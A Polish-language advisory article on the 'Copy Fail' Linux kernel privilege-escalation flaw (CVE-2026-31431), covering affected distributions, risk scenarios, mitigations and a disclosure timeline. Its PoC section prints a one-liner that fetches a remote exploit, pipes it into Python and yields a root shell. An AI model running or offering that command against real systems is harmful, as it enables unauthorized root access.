732 bajty i żaden Linux się nie ostoi: epicka luka czaiła się blisko dekadę

🚨 Epicka luka: 732 bajty i żaden Linux jej nie odparuje, czaiła się blisko dekadę
Ujawniono lukę w jądrze Linuksa o nazwie„Copy Fail” (CVE-2026-31431):
- 732-bajtowy skrypt w Pythonie
- jest w 100% niezawodny, nie wymaga okna wyścigu ani offsetów jądra;
- Dotyczy wszystkich dystrybucji Linuksa (od 2017 r.)
- ; prymityw ucieczki z kontenera, ataki między dzierżawcami;
- Ukryta przez blisko dekadę, ujawniona dopiero 29 kwietnia 2026 r.
Ten sam skrypt działa na Ubuntu, RHEL, Amazon Linux, SUSE — bez żadnych modyfikacji.
🎯 Istota luki
Pojedyncza wada logiczna
Copy Fail toliniowa usterka logiczna:
- Brak okna wyścigu: w przeciwieństwie do większości luk LPE w Linuksie nie trzeba wywoływać wyścigu;
- Brak offsetów jądra: nie są potrzebne offsety specyficzne dla jądra;
- 100% niezawodności: udaje się za każdym razem;
- Ten sam skrypt: działa na wszystkich dystrybucjach
Łańcuch luki
Łańcuch ataku Copy Fail:
- błąd logiczny w authencesn: usterka w logice,
- AF_ALG: przez kryptograficzne API jądra,
- splice(): wywołania łańcuchowe,
- zapis 4 bajtów w page cache: ostateczny prymityw ataku,
- możliwość wykorzystania przez blisko dekadę: od 2017 r. do wydania łatki
📊 Zakres podatności
Dystrybucje potwierdzone oficjalnie
| Dystrybucja | Wersja jądra | Status |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ potwierdzone |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ potwierdzone |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ potwierdzone |
| SUSE 16 | 6.12.0-160000.9-default | ✅ potwierdzone |
Pozostałe dotknięte dystrybucje
Następujące dystrybucje również są podatne:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Linux wbudowany
Wniosek: jeśli twoje jądro powstało między 2017 r. a wydaniem łatki —jesteś podatny.
💡 Scenariusze wysokiego ryzyka
| Scenariusz | Ryzyko | Wpływ |
|---|---|---|
| Wielodostępny host linuksowy | Wysokie | każdy użytkownik może stać się rootem |
| Klaster Kubernetes / kontenerów | Wysokie | ataki między kontenerami i między dzierżawcami |
| CI Runner / Build Farm | Wysokie | pull request daje roota na runnerze |
| SaaS w chmurze uruchamiający kod użytkowników | Wysokie | dzierżawca staje się rootem hosta |
| Standardowy serwer linuksowy | Średnie | wewnętrzne LPE, możliwe ataki łańcuchowe |
| Laptop jednego użytkownika | Niskie | krok eskalacji uprawnień po infiltracji |
🔧 Środki zaradcze
Opcja 1: aktualizacja jądra (zalecana)
Zaktualizuj jądro do wersji zawierającej mainline commit a664bf3d603d:
- Co naprawia: wycofuje optymalizację algif_aead in-place z 2017 r.
- Efekt: strony page cache nie trafiają już do zapisywalnej destination scatterlist
- Status: większość głównych dystrybucji wydała już łatki
Opcja 2: wyłączenie modułu algif_aead (rozwiązanie tymczasowe)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Skutki wyłączenia algif_aead
| Komponent | Wpływ |
|---|---|
| dm-crypt / LUKS | Brak wpływu |
| kTLS / IPsec | Brak wpływu |
| OpenSSL / SSH | Brak wpływu |
| Przestrzeń użytkownika AF_ALG | Możliwy wpływ |
Wniosek: w przypadku większości systemów wyłączenie algif_aead nie ma zauważalnego wpływu.
Opcja 3: blokada AF_ALG przez seccomp
W przypadku niezaufanych obciążeń (kontenerów, piaskownic, CI) zablokuj tworzenie gniazd AF_ALG za pomocą seccomp:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 Demonstracja PoC
PoC luki został upubliczniony, aby obrońcy mogli zweryfikować swoje systemy:
Szybkie uruchomienie
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Szczegóły PoC
- Rozmiar pliku: 732 bajty
- Język: Python 3.10+, wyłącznie biblioteka standardowa (os, socket, zlib)
- Cel domyślny: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Ostrzeżenie: skrypt modyfikuje page cache binarki setuid; zmiany nie są trwałe po ponownym uruchomieniu, ale powłoka roota jest jak najbardziej prawdziwa. Nie uruchamiaj go w środowisku produkcyjnym.
📅 Harmonogram ujawnienia
| Data | Zdarzenie |
|---|---|
| 2026-03-23 | Zgłoszenie do zespołu bezpieczeństwa jądra Linuksa |
| 2026-03-24 | Wstępne potwierdzenie |
| 2026-03-25 | Propozycja łatki i jej przegląd |
| 2026-04-01 | Łatka trafia do mainline |
| 2026-04-22 | Przydzielenie numeru CVE-2026-31431 |
| 2026-04-29 | Publiczne ujawnienie |
🔍 Odkrywca: Xint Code
Luka została odkryta przez Xint Code:
- Czas skanowania: około godziny skanowania podsystemu crypto/ w Linuksie
- Sposób odkrycia: audyt kodu wspomagany przez AI
- Pełna analiza: root cause, diagramy, operator prompt
- Inne znaleziska: przy okazji odkryto kolejne luki o wysokiej dotkliwości, nadal w trakcie uzgadniania ujawnienia
Dokonania Xint Code
- 0-day RCE: ZeroDay Cloud, wyczyszczenie kategorii baz danych (Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3: finał DARPA AI Cyber Challenge
- DEF CON CTF 9×: najbardziej utytułowana drużyna w historii DEF CON CTF
📝 Podsumowanie
Copy Fail (CVE-2026-31431) toepicka luka w jądrze Linuksa:
- 732 bajty i żaden Linux jej nie odparuje (od 2017 r. do dziś),
- 100% niezawodności, pojedyncza wada logiczna,
- ucieczka z kontenera i ataki między dzierżawcami,
- ukryta przez blisko dekadę, ujawniona 29 kwietnia 2026 r.
- Scenariusze wysokiego ryzyka: hosty wielodostępne, klastry kontenerów, CI Runner, SaaS
- , środki zaradcze: aktualizacja jądra albo wyłączenie algif_aead
- , odkrywca: Xint Code, audyt kodu wspomagany przez AI
Epicka luka minionej dekady: jeden skrypt i żaden Linux jej nie odparuje.
Strona luki:https://copy.fail
GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431
Analiza techniczna:https://xint.io/blog/copy-fail-linux-distributions
Łatka jądra:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5